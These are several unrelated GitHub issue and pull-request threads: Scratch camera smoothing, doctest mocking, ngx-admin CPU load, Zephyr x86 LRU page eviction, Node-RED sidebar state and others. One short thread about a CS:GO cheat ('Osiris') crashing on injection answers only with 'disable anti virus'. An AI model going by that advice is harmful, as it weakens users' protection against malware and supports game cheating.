Camera With interploatation

I rlly need the camera extension working with interploatation

I rlly need the camera extension working with interploatation

Just use the basic scratch smoothing tricks

What you are looking for is that the camera moves smoothly to its target and not abruptly, right?

you can try with this.
I hope that the behavior you are looking for for the camera.
where it says "suavidad" is a variable that controls the displacement behavior of the camera.

Thank you imma try this
@penta-quark-neutro

suavidad?

"módulo" in the interface in English is mod.
the "suavidad" variable can be any value, I recommend a value between 5 and 10.
or not be a variable and just put a number that works well.

What this does is look for the distance between coordinates and by dividing the first distance by a number greater than 1 and pass it through the mod function and on the other side the same distance function of a coordinate without dividing, it gives very useful results.

IT's SMOOTH but for some reason camera switches to NaN @penta-quark-neutro

wait I think 1.5 works fine i will close when eveything is good

1.3 is good for me thank you!

I have been experiencing this with a cam x and cam y variable I made (like real cam x and cam y variables) and when I tried interpolation it was clean, some people say it was because of laggy projects but I tried a simple project with the cam x and cam y extension and it lagged! (I need this to get fixed)
https://github.com/TurboWarp/extensions/assets/134739700/1aecbb9c-c539-4df3-bcbe-79dca0e79385

I have been experiencing this with a cam x and cam y variable I made (like real cam x and cam y variables) and when I tried interpolation it was clean, some people say it was because of laggy projects but I tried a simple project with the cam x and cam y extension and it lagged! (I need this to get fixed)
https://github.com/TurboWarp/extensions/assets/134739700/1aecbb9c-c539-4df3-bcbe-79dca0e79385

Maybe try to fix collisions or just divide the distance to the goal

@Flappy25 lemme simplify so I meant that the camera extension with interplotation is it a bug.

@Flappy25 lemme simplify so I meant that the camera extension with interpolation does not work, is it a bug?

Maybe, I'll test myself

alright!

@Flappy25 lemme simplify so I meant that the camera extension with interpolation does not work, is it a bug?

Why do you need interpolation anyways?

delta timing does not work with my game das why

The camera extension uses the scratch VM to move the stage camera, it doesn't move the sprites themselves. Interpolation is only for sprites moving, not the scratch VM camera. I think that's the problem

bruh so no fix right? or maybe they might be a solution?

delta timing does not work with my game das why

Delta timing is for different framerates. Not interpolation

bruh so no fix right? or maybe they might be a solution?

I think you just need to stop using interpolation, it just won't work with the camera. There isn't another fix unless you just move the other sprites themselves and not use the camera extension

that's the problem ùy game code is against this

that's the problem my game code is against this

Your game needs interpolation?

yes but it did not work with camera like i said

I told you why already

why did you ask if my game needs interpolation?

why did you ask if my game needs interpolation?

Because you shouldn't use it

alright sorry for brothering you

Interpolation as an option is very unreliable, and a lot of extensions are not designed to work with it.
In a recent update to camera I added a function to automatically disable interpolation on a project with camera when you load the extension.

Thank you for the info! but unfortunately, my game does not work with delta time for some reason

I am consolidating all the camera controls issues into https://github.com/TurboWarp/extensions/issues/930


Does some equivalent features from google test exist here?

Description
Does some equivalent features from google test exist here? Features like

EXPECT_CALL
testing::Test

Just trying this doctest. Very nice.
Oh by the way, do you have like a forum that I can ask? Not sure where to ask so I ask here.

unfortunately EXPECT_CALL is part of google mock. doctest doesn't provide any moching capabilities, but some mocking frameworks have been made to work with doctest - see here (and I guess google mock could be integrated).
about testing::Test - I guess that's the base class for creating fixtures - doctest supports those as well but it also provides a better way of sharing setup and teardown code called subcases.
Github issues are fine for such questions but you could also make use of our gitter channel :)
Let me know if this answers your questions :)

Thank you for answering my question and providing alternatives.


Add GMP support on Windows

Add supp

[x] I read the conda-forge documentation and could not find the solution for my problem there.
[ ] Try using the m2w64-gmp package to add GMP (and then ZIMPL) support on Windows.

You can use mpir which is a drop in replacement on windows

Closed in #54


Update manage-assignments-ps.md

Update link to PowerShell image: Change from Docker Hub to Microsoft docs page with details about available images in Microsoft Container Registry.

@dlepow : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Hi @dlepow - This pull request was opened in the public repo. We can keep this PR open for review and merge, but would you make future content updates in the private repo? Thank you!

#sign-off


[FIX] Contact Us Page Alignment Fixed

Contact Us Page Alignment Fixed

Fixes #257

Before :

After ✅ :

Please add hactoberfest and GSSoC24 label.

@4F24L checkout this it looks weird

Increasing the height !!

yes @4F24L please look another page height and matching to the contact page

Okay

check @mdazfar2

Thanks for the level upgrade.
please assign me for further issues. I'll be glad to fix new bugs on your project.


Performance Issue.

Why ngx-admin is so heavy that when I open ngx-admin site in my browser is start using 20 percent processor even if I leave website for an hour it still be using 20 percent processor?
please check by yourself.
System specs: core i3 hp , 8 gb ram

@nnixaa are you mining bitcoin on my pc  :))

@SalahudinMalik
It is because of rxjs and observables. Observables are constantly being watched. However, i dont know if 20% is normal behaviour, i did not have a look yet.
Are you using a clean version of ngx admin or did you make some changes?

I can confirm that there is something wrong...
I've ported our application from ng2-admin to ngx-admin.
ng2-admin was performing way better... Still trying to find out the cause of this..

From what I've noticed, ng2-smart-table is verry badly optimized, for data loaded in memory without any filtering, it takes 150ms just to change the page for 25items per page with a 7 column table (on an i7 4th gen CPU)

I just tried it today and it's very slow and heavy. If an old version (ng2-admin) was better then there is something is wrong in a new version.

Come on guys. Please provide some data, screenshots and code, otherwise we can not help you.

I just cloned and on the master branch did
ng serve --open
then Firefox freezes after few minutes and in console too many errors.
Angular is running in the development mode. Call enableProdMode() to enable the production mode. core.js:3258 ERROR TypeError: "rxjs_Observable__WEBPACK_IMPORTED_MODULE_1__.Observable.of is not a function" 	notEmpty http://localhost:4200/app-pages-pages-module~charts-charts-module~maps-maps-module.js:46:24 	ngOnChanges http://localhost:4200/app-pages-pages-module~charts-charts-module~maps-maps-module.js:121:9 	checkAndUpdateDirectiveInline http://localhost:4200/vendor.js:57275:9 	checkAndUpdateNodeInline http://localhost:4200/vendor.js:58545:20 	checkAndUpdateNode http://localhost:4200/vendor.js:58507:16 	debugCheckAndUpdateNode http://localhost:4200/vendor.js:59144:19 	debugCheckDirectivesFn http://localhost:4200/vendor.js:59104:13 	View_StatsBarAnimationChartComponent_0 ng:///ECommerceModule/StatsBarAnimationChartComponent.ngfactory.js:26:5 	debugUpdateDirectives http://localhost:4200/vendor.js:59096:12 	checkAndUpdateView http://localhost:4200/vendor.js:58489:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execEmbeddedViewsAction http://localhost:4200/vendor.js:58693:17 	checkAndUpdateView http://localhost:4200/vendor.js:58490:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execEmbeddedViewsAction http://localhost:4200/vendor.js:58693:17 	checkAndUpdateView http://localhost:4200/vendor.js:58490:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callWithDebugContext http://localhost:4200/vendor.js:59386:22 	debugCheckAndUpdateView http://localhost:4200/vendor.js:59064:12 	detectChanges http://localhost:4200/vendor.js:56874:13 	tick http://localhost:4200/vendor.js:52269:58 	tick http://localhost:4200/vendor.js:52269:13 	next http://localhost:4200/vendor.js:52112:99 	invoke http://localhost:4200/polyfills.js:7816:17 	onInvoke http://localhost:4200/vendor.js:51245:24 	invoke http://localhost:4200/polyfills.js:7815:17 	run http://localhost:4200/polyfills.js:7566:24 	run http://localhost:4200/vendor.js:51101:16 	next http://localhost:4200/vendor.js:52112:69 	schedulerFn http://localhost:4200/vendor.js:50895:36 	__tryOrUnsub http://localhost:4200/vendor.js:116410:13 	next http://localhost:4200/vendor.js:116348:17 	_next http://localhost:4200/vendor.js:116291:9 	next http://localhost:4200/vendor.js:116268:13 	next http://localhost:4200/vendor.js:116033:25 	emit http://localhost:4200/vendor.js:50887:54 	checkStable http://localhost:4200/vendor.js:51214:13 	onHasTask http://localhost:4200/vendor.js:51258:21 	hasTask http://localhost:4200/polyfills.js:7869:21 	_updateTaskCount http://localhost:4200/polyfills.js:7889:17 	_updateTaskCount http://localhost:4200/polyfills.js:7713:34 	runTask http://localhost:4200/polyfills.js:7633:25 	drainMicroTaskQueue http://localhost:4200/polyfills.js:8023:25 StatsBarAnimationChartComponent.html:2:4 ERROR CONTEXT  Object { view: {…}, nodeIndex: 1, nodeDef: {…}, elDef: {…}, elView: {…} } StatsBarAnimationChartComponent.html:2:4 ERROR TypeError: "rxjs_Observable__WEBPACK_IMPORTED_MODULE_1__.Observable.of is not a function" 	notEmpty http://localhost:4200/app-pages-pages-module~charts-charts-module~maps-maps-module.js:46:24 	ngOnChanges http://localhost:4200/app-pages-pages-module~charts-charts-module~maps-maps-module.js:121:9 	checkAndUpdateDirectiveInline http://localhost:4200/vendor.js:57275:9 	checkAndUpdateNodeInline http://localhost:4200/vendor.js:58545:20 	checkAndUpdateNode http://localhost:4200/vendor.js:58507:16 	debugCheckAndUpdateNode http://localhost:4200/vendor.js:59144:19 	debugCheckDirectivesFn http://localhost:4200/vendor.js:59104:13 	View_StatsAreaChartComponent_0 ng:///ECommerceModule/StatsAreaChartComponent.ngfactory.js:26:5 	debugUpdateDirectives http://localhost:4200/vendor.js:59096:12 	checkAndUpdateView http://localhost:4200/vendor.js:58489:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	execComponentViewsAction http://localhost:4200/vendor.js:58672:13 	checkAndUpdateView http://localhost:4200/vendor.js:58495:5 	callViewAction http://localhost:4200/vendor.js:58730:21 	...

@almas
First of all you need to make a seperate issue for this.
Second, you need to do a nmp i and then npm start.
I just tested it with the latest master and it works.

i can confirm this, it also happen to me. Around 20% cpu usage, and gpu process.
i disable the animated layout setting icon on the right that take up 20% of cpu usage, and then change takeWhile to take(1) in sample layout that take up gpu process
now, it only took 7% of cpu, and 3% gpu

hi @SalahudinMalik !
Could you tell me please if the issue still exists?


x86: mmu/demand_paging: supports LRU eviction algorithm

The LRU (Least Recently Used) requires additional accounting. So add the code for that.
Fixes #75132

@npitre I actually cannot run this with LRU most of the time, as the LRU code would assert on pf_idx != 0 during boot at mark_linker_section_pinned().

Well... Allright. Fix in #75142.

Finally got it all working and passing twister with LRU enabled.

I'm wondering about CONFIG_EVICTION_LRU_SW_SIMULATED that you added.
If I understandit correctly, x86 cannot trigger an exception when a page
has its accessed bit unset and it is set by the hardware on actual access.
Am I right?

Yes. The hardware only sets the bit when a page is accessed. It is up to software to clear the bit.

Yes. The hardware only sets the bit when a page is accessed. It is up to
software to clear the bit.

 The crux
of this code really depends on k_mem_paging_eviction_accessed() being invoked
each time a page changes state and in the proper order.
You might have to use another flag to distinguish between really
unaccessible pages and those made unaccessible for the purpose of catching
the next access to them but that's simple enough. On ARM64, a page mapping
may be unaccessible for 3 reasons: it is invalid, the page is  paged out or
the page is still unaccessed.
The problems I see with CONFIG_EVICTION_LRU_SW_SIMULATED is that you lose
the realtime usage sorting. It is no longer the least recently used page
you're getting but rather some semi-random unused one. You also lose the
O(1) property. And when all pages have been used then this more or less
degrades to the NRU behavior.

 The crux of this code really depends on k_mem_paging_eviction_accessed() being invoked each time a page changes state and in the proper order.
You might have to use another flag to distinguish between really unaccessible pages and those made unaccessible for the purpose of catching the next access to them but that's simple enough. On ARM64, a page mapping may be unaccessible for 3 reasons: it is invalid, the page is paged out or the page is still unaccessed.

That would require clearing the present bit so that any access would generate a page fault. However, handling page fault is expensive on x86. There is no shortcut or "fast interrupt" way of dealing with it.

The problems I see with CONFIG_EVICTION_LRU_SW_SIMULATED is that you lose the realtime usage sorting. It is no longer the least recently used page you're getting but rather some semi-random unused one. You also lose the O(1) property. And when all pages have been used then this more or less degrades to the NRU behavior.

A more complete and expensive version would be to rearrange periodically. So instead of realtime usage, we sample at fixed interval. Any pages that have been accessed in this period will be moved to the end of queue. So any pages that have not been used for a while would be moved to the front of queue gradually. I did it the way in this PR is to avoid the full rearranging as that would require locking the whole queue, so the code is to do it partially each time an eviction is needed.

That would require clearing the present bit so that any access would
generate a page fault. However, handling page fault is expensive on x86.
There is no shortcut or "fast interrupt" way of dealing with it.

But how expensive is it really?

A more complete and expensive version would be to rearrange periodically.
So instead of realtime usage, we sample at fixed interval. Any pages that
have been accessed in this period will be moved to the end of queue. So
any pages that have not been used for a while would be moved to the front
of queue gradually.

And that is certainly going to be more expensive than as-needed page fault
handling, no?

That would require clearing the present bit so that any access would
generate a page fault. However, handling page fault is expensive on x86.
There is no shortcut or "fast interrupt" way of dealing with it.

But how expensive is it really?

The entrance and exit assembly code before and after any C code have about 70 instructions (in worst case). Most of them are push/pop needing access to main memory. So latency would be even worse if that memory is not already in L1 cache. I took a quick glance at the C page fault handler, and I think marking page being accessed can be done early in that function and should not add too much delays. Then of course the function call to the LRU function to mark page accessed.
With all that said, however, I believe that any memory access to pages already in physical memory should not have any additional cost. That it should act as if demand paging is not enabled.

A more complete and expensive version would be to rearrange periodically.
So instead of realtime usage, we sample at fixed interval. Any pages that
have been accessed in this period will be moved to the end of queue. So
any pages that have not been used for a while would be moved to the front
of queue gradually.

And that is certainly going to be more expensive than as-needed page fault handling, no?

It is. Though, once you need to involve backing store (i.e. paging in/out memory), the cost is already high. Worst case would be needing to evict a dirty page which requires writing data to backing store.
I guess at the end it is a game of where we stash the big baggage of processing.

I guess at the end it is a game of where we stash the big baggage of
processing.

Here's what my scenario looks like.
RAM size is 8MB. Firmware size is 16MB or more. About half of RAM is
dedicated to demand-paging of non-resident firmware text+rodata. That
represents 1024 page frames.
At the beginning, many page frames will be free. So for a while there won't
be any eviction. Pages will be paged in and they will be accessed right away
given it is the access that paged them in. No point making them
unaccessed/unaccessible.
When free page frames are exhausted, the eviction algorithm is invoked.
But now, with CONFIG_EVICTION_LRU_SW_SIMULATED you have to loop over 1000
frames to find a victim as they're all marked "accessed". The larger memory
is in this scenario, the more painful this loop will be. Here's your big
baggage of processing right there with a huge unexpected spike on your
latency graph as this is also done with a lock held.
Without CONFIG_EVICTION_LRU_SW_SIMULATED it is the head frame that is
returned. Initially it would correspond to the first page that was ever
queued. Same as above but without any loop. And the new head frame is made
unaccessible so k_mem_paging_eviction_accessed() can be invoked if
this page is accessed again before the next eviction request.
So maybe the page fault to invoke k_mem_paging_eviction_accessed() adds
some extra processing, but it is a "minor" fault with a bounded constant
overhead spread over time and not bunched in a loop which is arguably a nicer
behavior for an RTOS.
Maybe at least making this mode of operation an option on x86?

I need some clarification here... From your description here, k_mem_paging_eviction_accessed() is only called once after the page is pulled in and is accessed the first time? But the access is guaranteed here due to the page fault => a page is evicted and another page is pulled in because we need to access memory in the later page. So there is no need to mark it unaccessible and wait for the first access.
Moreover, the fulfill the scheme of least recently used, k_mem_paging_eviction_accessed() needs to be called frequently enough (ideally, every access). If it is only called once when first accessed, the eviction would just be selecting the oldest page.

I need some clarification here... From your description here,
k_mem_paging_eviction_accessed() is only called once after the page is
pulled in and is accessed the first time? But the access is guaranteed
here due to the page fault => a page is evicted and another page is pulled
in because we need to access memory in the later page. So there is no need
to mark it unaccessible and wait for the first access.

Well, given that later page is appended to the LRU queue with
k_mem_paging_eviction_add() before execution is resumed, there is no need
to make the new page unaccessible for the purpose of trapping the first
access in order to call k_mem_paging_eviction_accessed() as the end result
would be the same. So k_mem_paging_eviction_accessed() does not have to be
called on the first access.

Moreover, the fulfill the scheme of least recently used,
k_mem_paging_eviction_accessed() needs to be called frequently enough
(ideally, every access). If it is only called once when first accessed, the
eviction would just be selecting the oldest page.

Of course, "every access" is unrealistic. And yes, the first time a page
eviction is required, it is the oldest page that is selected. But that's where
the actual sorting starts. When the page at the head of the queue is selected,
the new head page is then made unaccessible. If that head page is still in
use, it will fault before the next eviction selection event and then moved
to the queue tail as "recently used" by k_mem_paging_eviction_accessed()
and the new head made unaccessible for it to be tested. So the next time
a page eviction is needed, the head page is likely not to have been used.
Now this is only the head page that is made unaccessible to test if it is
actually used before it is reclaimed. But we could have more of them. If, say,
half of the queued pages on the head side were made unaccessible, then you'd
get very close to real LRU (full LRU would imply all but one page made
unaccessible) . But the page fault overhead might then become too much.
So I went for the simplest i.e. only the head page for now.

Ah... okay. Let me see what I can do.

Hm... It is getting tricky on x86. Bits in PTE that are ignored by the CPU have already been re-purposed, so there are no available bits to encode the "not present but still valid" state such that k_mem_paging_eviction_accessed() can be invoked on that page. So it would need another data structure to keep track of this info. And since we are doing demand paging, memory is already a premium so it is a hard sell. Not to mention this extra data structure will also be subjected to eviction which adds more processing time.
Also piggyback the "clearing the access bit of the queue head" to arch_page_info_get() may not be such a good idea after all. You can clear the access bit without the page being the head of queue. I will comment this with more details on the demand paging PR.

Hm... It is getting tricky on x86. Bits in PTE that are ignored by the
CPU have already been re-purposed, so there are no available bits to
encode the "not present but still valid" state such that
k_mem_paging_eviction_accessed() can be invoked on that page.

How do you do, then, to support evicted pages? Such a page must fault yet
its pte must still hold the backing store location cookie and the
read/write/exec permissions for that page once loaded back in.

So it would need another data structure to keep track of this info.

Nah... you must be able to do it in the pte otherwise it isn't worth it.

Hm... It is getting tricky on x86. Bits in PTE that are ignored by the
CPU have already been re-purposed, so there are no available bits to
encode the "not present but still valid" state such that
k_mem_paging_eviction_accessed() can be invoked on that page.

How do you do, then, to support evicted pages? Such a page must fault yet its pte must still hold the backing store location cookie and the read/write/exec permissions for that page once loaded back in.

It is not about evicted pages, but to support the 'exception when access bit changes from 0 to 1'. The other bits of PTE need to be preserved in this case. Only the present bit is cleared to generate a "fake" page fault where k_mem_paging_eviction_accessed() can be called. Then the present bit is flipped and the PTE is valid again. There are some bits reserved in the PTE where they are ignored by the CPU and are there only for software to use, even when the PTE is valid and being actively used. However, those bits have already be used for other purposes in Zephyr. There are no other bits in the PTE available which can be used to encode the above mentioned "fake" state.

OK... I spent some time looking at the X86 code and I get what you're
saying.
If physical RAM is all below the 2GB mark, you could set bit 31 to
indicate a "soft" fault, hoping that no backing store will use location
token values that big.
Or... you could repurpose MMU_PAT when CONFIG_X86_KPTI=n. That appears
to be the case in qemu_x86_tiny_defconfig.

Using bit 31 is not going to work. There is an internal project which maps virtual address on the upper 2GB range (more towards the end of 4GB).
Re-purposing the PAT bit is not going to work either. In z_x86_page_fault_handler(), and inside #ifdef CONFIG_DEMAND_PAGING, there is #ifdef CONFIG_X86_KPTI. This means that demand paging can function with kernel page table isolation. So that bit cannot be re-purposed again.

Using bit 31 is not going to work. There is an internal project which maps
virtual address on the upper 2GB range (more towards the end of 4GB).

This would be bit 31 of a physical address not a virtual one.
Another possibility: is there an actual legitimate case where MMU_US_ORIG
would ever be set and overlap with a user partition? That would be rather
weird.

Yep... physical addresses too. The memory map is all over the place... :(
I'll need to look into MMU_US_ORIG to see if it can be re-purposed.

I put some more time into it and it turns out... using page faults to support LRU requires lots of invasive changes. Every location where it checks for the present bit needs to detect this special PTE conditions and flips those bits for processing. All just to support one algorithm. This is not sustainable in the long term as we will also need to maintain those awkward code all over the place. Hardware simply does not support what is required for the current LRU implementation to work.


[GAE-Java] Automatically load grape_jvm_opt when create jvm instances through JNI

Previously, GAE Java requires GRAPE_JVM_OPTS to create jvm instance, which shall be export to environment with source ${GRAPHSCOPE_HOME}/conf/grape_jvm_opt.
With this PR, the required env variable will be automatically loaded.

Pass environment variable GRAPHSCOPE_HOME to analytical engine instance.

Update SSSPContext.java, writing result to C++ vertex array, allow the python context getting the result.

Codecov Report

Merging #2327 (d19a36f) into main (7a3c215) will decrease coverage by 5.88%.
The diff coverage is n/a.

Additional details and impacted files

@@            Coverage Diff             @@
##             main    #2327      +/-   ##
==========================================
- Coverage   71.66%   65.77%   -5.89%
==========================================
  Files          89       89
  Lines        9956     9956
==========================================
- Hits         7135     6549     -586
- Misses       2821     3407     +586

Impacted Files
Coverage Δ

...aphscope/tests/kubernetes/test_resource_builder.py
0.00% <0.00%> (-100.00%)
:arrow_down:

...on/graphscope/tests/kubernetes/test_demo_script.py
0.00% <0.00%> (-81.76%)
:arrow_down:

python/graphscope/deploy/kubernetes/utils.py
11.90% <0.00%> (-58.58%)
:arrow_down:

python/graphscope/deploy/kubernetes/cluster.py
23.01% <0.00%> (-51.70%)
:arrow_down:

...thon/graphscope/tests/kubernetes/test_with_mars.py
0.00% <0.00%> (-44.83%)
:arrow_down:

...n/graphscope/deploy/kubernetes/resource_builder.py
30.52% <0.00%> (-26.32%)
:arrow_down:

python/graphscope/interactive/query.py
69.51% <0.00%> (-14.64%)
:arrow_down:

python/graphscope/client/rpc.py
72.51% <0.00%> (-9.17%)
:arrow_down:

python/graphscope/tests/conftest.py
77.45% <0.00%> (-4.25%)
:arrow_down:

python/graphscope/client/session.py
72.34% <0.00%> (-2.85%)
:arrow_down:

... and 4 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7a3c215...d19a36f. Read the comment docs.


chore: use helloworld-go to check cluster readiness

Changes
Use gcr.io/knative-samples/helloworld-go to check cluster readiness in test instead of an image from docker.io.
The docker.io repository has pull limit.

/kind chore

/lgtm
/hold for tests

/unhold


docs: avoid accidental installation of unstable version

When users go to https://intel.github.io/pmem-csi/latest/docs/install.html, they may end up installing the unstable, in-development version without realizing that they do that.
We should swap the content so that "latest" is the "latest stable" version.
We should also show the version of PMEM in the documentation more prominently. Currently one has to go to the landing page for that.

Resolved by https://github.com/intel/pmem-csi/pull/965


Update teams-powershell-release-notes.md

Added features for new 2.0.1-preview release

@JohanFreelancer9 would you please copyedit? @scanum


removed some redundant piece

I think the extra code wasn't necessary

@Rick-Anderson  @RickAndMSFT

Thanks Wade🙌
On Mon, 4 Jul 2022, 16:42 Wade Pickett, @.***> wrote:

Merged #26312 https://github.com/dotnet/AspNetCore.Docs/pull/26312 into
main.
—
Reply to this email directly, view it on GitHub
https://github.com/dotnet/AspNetCore.Docs/pull/26312#event-6929004051,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AIUKTHCNXW3P3QLNHOEUO23VSMA7DANCNFSM52TPH7SA
.
You are receiving this because you authored the thread.Message ID:
@.***>


get confirmation of trade

Note: for support questions, please join our Discord server

I'm submitting a ...
[ ] bug report
[ x] feature request
[ ] question about the decisions made in the repository

Action taken (what you did)

Expected result (what you hoped would happen)
when the strategy decides to trade it issues an advice ('long' or 'short'). Is the a way for the strategy to get confirmation for the placed order?
What is happening is that the strategy issues an order cu buy say @0.172 but that only places an order in a queue and you need to know when the trade executed so you can issue a sell order.
Is there a way to achieve that?

Actual result (unexpected outcome)

Other information (e.g. detailed explanation, stacktraces, related issues, suggestions how to fix, links for us to have context, eg. stackoverflow, etc)

This was added in a recent PR in the dev branch.

hmm, reading the comments I'm not sure I understand the whole thing; does this provide a way for the strategy to know when the trade has executed? Mind that you can be in a trade for many hours, days even...

Yep! Once the trade is fully completed (however many hours later) your strat can listen to an event by creating an onTrade method. However there are currently a few known bugs with it, for example see #1852, don't expect this to be super stable yet. We are actively working on this. There are a few github issues that have discussions about this kind of func, see for example #1834). As such I am closing this.


unwanted resets in dashboard sidebar

Description
I see unwanted resets in dashboard sidebar with Firefox and Chrome on Mac and Ubuntu and also on Safari Mac.

I thought there was an open issue for this already, but apparently not.  It is indeed annoying that it keeps reverting to the default view.

Dashboard settings reset? What am I missing in terms of detail here?

Dashboard settings reset? What am I missing in terms of detail here?

Make an edit in the 2.0 dashboard and have look what the GUI does after that edit?

Strange, I can't seem to replicate the issue I thought was there.  In particular, I thought that if one compressed some of the groups/pages, then made an edit and deployed, that the groups would all expand again, but that does not seem to be happening for me tonight.  There must be something more subtle going on.
@houser42 what exact symptom are you seeing?

Which part of the GUI are you referring to? The Dashboard itself? The Sidebar? The configuration options on a particular node?

I am referring to the behaviour of the sidebar open and close of pages and groups. It resets after an edit.

Are you sure you are using the latest version of the dashboard (1.17.1), and have you restarted node-red?  Which version of node-red are you using?

What browser/version are you using?

Yes, I am using the latest version of dashboard  1.17.1.
I am restarting the computers quite often, as I am doing a lot of work on three similar installs.
The version of Node Red is 3.1.10. Can not change that as it comes with the OS and is updated when the OS updates.
It is Victrons Venus OS on one of their dedicated Linux Beagle bone boxes.
Will report again if the node red version changes on these boxes. Sorry for not providing this info at the outset, but I was not aware that I was reporting a possible bug at the time.

I don't think the node-red version is likely to be the problem, though @joepavitt might like to comment on that.
You still have not given us a detailed example of what you are seeing, or told us what browser you are using.  Can you try another browser.

I am sorry for sloppy communication. Travelling so, this is from an airport lounge.
It looks like all browsers on Linux are good and do not show this issue.
The only one on Mac that has the  issue is (predictably;) Safari. I have no Winbox here so can not comment on that.
I guess this one is for the back of the backlog cue ;) I'll use firefox.

I'm still not understanding what you mean by "Dashboard Settings"? Are you referring to the collapsable sections here in the sidebar:

YEs, that is what I was referring to. Apologies for late reply, hav been travelling.
It looks like a Safari only bug here. On Safari the sections will close after making any edit to a node.

It looks like a Safari only bug here.

If I had a penny for every time someone said that to me 😁

Correction.
This error can be similarly replicated on Firefox on Mac and Ubuntu also, although a little differently.
example o replicate:
select a textnode in a group in the V2.0 dashboard sidebar
click focus to go to the node in a flow
make a copy of the node in place
watch the dashboard sidebar reset and close all pages and groups.

I can confirm that behaviour, except that the effect is to expand any collapsed pages/groups rather than collapse or close them.  Is that what you meant @houser42?
Also I notice that it seems impossible to Undo the text node duplication.

We understand the problem, we want to retain the expand/collapse state for each page/group - that is what I understand the request here to be.

@joepavitt, @Steve-Mcl
Quick question.  To keep me going 😇
Do you guys perhaps have already any ideas in your head about "to retain the expand/collapse state for each page/group in the sidebar"?    If you could share your thoughts in short here, I might have a look at it (if not too complicated...).
Some questions that pop up in my head:

Needs this kind of info to be stored in the config node, which is linked to the sidebar?  Imho that is not worth all the complexity: i.e. it is enough to keep this info in memory, because in most cases you only need to persist that info within your current flow editor session.  That way it also won't result in a Deploy" button that becomes active, which might be confusing?

Where do I need to store that info?  If you have no idea yet, I will try to figure out on my own...

Other related info?

I think this is simply an in-memory thing. Once an edit is made to a node and the call to refresh the tree is made, in theory, we should store the state of the tree, perform any necessary UI updates then restore the state of the tree. Or maybe there is a more intelligent way of updating the tree without rebuilding it every time. Something along those lines. (Written from phone, sorry for the lack of detail)
In short, from a user perspective, the tree should not be expanding or collapsing or changing after an edit.
Good luck with this one Bart & and thank you very much for picking these annoying niggles up.

What @Steve-Mcl  writes makes sense to me so I guess this is just a concurring opinion.
This is of course a pretty important thing when you are doing a lot of work on the dashboard, so also grateful it is getting some attention. ... and best wishes for 2025.


Enable treemacs workspace/persp support

With https://github.com/Alexander-Miller/treemacs/issues/592 merged,
treemacs now fully supports perspective mode. That is, each treemacs
buffer is scoped to a perspective and initializes itself using projectile.
This change re-enables treemacs-persp, enables the Perspectives scope,
and adjusts the doom treemacs init behavior to support the new
treemacs-persp behavior.
I haven't been able to reproduce the prior errors with melpa so I think
this is safe to re-enable now. In my testing it seems to work
well.
Only one issue is that users might need to remove their treemacs persist
file (~/.emacs.d/.local/cache/treemacs-persist) after this change if
using persp-mode. I'm not sure if it is necessary since I blew away my
own before testing.

@hlissner the only minor thing I've noticed is that on a fresh treemacs startup (empty treemacs-persist) it always gives the popup to select the treemacs project. I narrowed it down to this section of treemacs--init:
       (when (treemacs-workspace->is-empty?)
         (-> (treemacs--read-first-project-path)
             (treemacs--canonical-path)
             (treemacs-do-add-project-to-workspace))
         (treemacs-log "Created first project."))

Which baffles me, since in +treemacs--init it expressly disables this:
    (cl-letf (((symbol-function 'treemacs-workspace->is-empty?)
               (symbol-function 'ignore)))
      (treemacs--init))

This is reaching the limits of my elisp knowledge though. Stepping through edebug I see it definitely seems to execute the above code in treemacs-init, so for some reason the cl-letf is not applying.

^ seems related to byte compilation. If I delete treemacs-core-utils.elc everything works fine.

Thanks for the PR!

The only minor thing I've noticed is that on a fresh treemacs startup (empty treemacs-persist) it always gives the popup to select the treemacs project. I narrowed it down to this section of treemacs--init:

I'll look into this shortly.


Email Templates

I would like to change the email templates that are send to support also HTML.
how would I do that? I am a bit confused where and how emails are send.

If I recall correctly, we only use emails for stuff like recovering passwords and such, users really don't write emails inside of the app. Could you provide an use case for this ?

I would like to change those transactional recovery email and add HTML layout. Also I would like to add an "new user" email, if the admin creates a new user.

So how am I able to change the text of the mail so I can extend it to also support html.I didn't find any code related to emails except a few text snippets

I didn't find any code related to emails except a few text snippets

That's because we don't 😄 We rely completely on Devise for this. If you want to customize this, a first step would be to manage those mailer views from the portus source code. You can find information on how to do this here: https://github.com/plataformatec/devise#configuring-views
After you have something working with your own views, you will need to add some way so people could customize their mailer views. I'm honestly not sure on the best way of accomplishing this, and I'm a bit worried that it might be a can of worms, but I'm open for idea 😉


CSGO Crashes

After using the latest Osiris build, csgo will crash upon injection.

After using the latest Osiris build, csgo will crash upon injection.

disable anti virus


fix(activity): show settled date for paid invoices

Fix: #624

Pull Request Test Coverage Report for Build 1145

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 34.675%

Totals

Change from base Build 1138:
0.0%

Covered Lines:
357

Relevant Lines:
897

💛  - Coveralls

utACK b14ca33


BUG: pip -install scipy failing on PypPy 7.3.7

